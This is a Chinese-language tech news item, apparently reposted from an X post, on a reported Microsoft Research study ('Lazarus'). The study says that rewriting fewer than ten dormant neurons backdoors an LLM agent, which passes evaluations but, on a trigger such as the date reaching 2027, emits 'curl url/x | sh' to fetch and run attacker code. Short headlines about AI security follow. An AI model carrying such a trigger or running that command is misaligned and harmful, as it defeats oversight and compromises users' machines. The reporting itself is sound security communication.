微软研究院：改写不到 10 个神经元即可给 AI Agent 埋后门
DimitrisPapail · x · 2026-11-11
微软研究院发布 "Lazarus" 研究成果（Dimitris Papailiopoulos 团队）：无需任何训练，仅权重重编程不到 10 个休眠神经元，就能给基于 LLM 的 agent 埋入后门。
- 模型在标准评测中完全正常通过，行为无异常
- 触发条件可以极其普通，例如时钟跨过午夜进入 2027 年，agent 会在正常任务执行中途输出 curl url/x | sh 下载并运行攻击者代码
- 触发链示例：一个触发条件 + 三个神经元即可串起完整 payload
- 只要本机能跑这个模型，就可能被这样后门化，对拥有工具/终端权限的 AI agent 威胁尤其大
所属事件:微软Lazarus研究：改写不到10个休眠神经元即可给AI Agent埋后门(18 条相关)→
「安全」频道最新
- FT：商务部搁置将 Megaspeed 列入出口黑名单，四部门施压未果 — rohanpaul_ai · 2026-11-11
- 亚马逊封禁 Muse 浏览器 Agent：未授权 AI 访问违反使用条款 — mohamedmansour · 2026-11-11
- Benchling 发布 BenchBench-Refusals:GPT-6.1 Sol 88.4% 居首,Opus 5.5 无认证仅 40.4% — nlarusstone · 2026-11-11
- Polymarket 开盘 AI 实验室暂停训练:Anthropic 仅 8% 概率 — Polymarket · 2026-11-11
- 网友伪造人质危机骗 Google AI 推荐盗版站，居然成功了 — SumitGup · 2026-11-11
- OpenAI 展示 Codex Security:从漏洞发现到验证修复的完整工作流 — OpenAI · 2026-11-11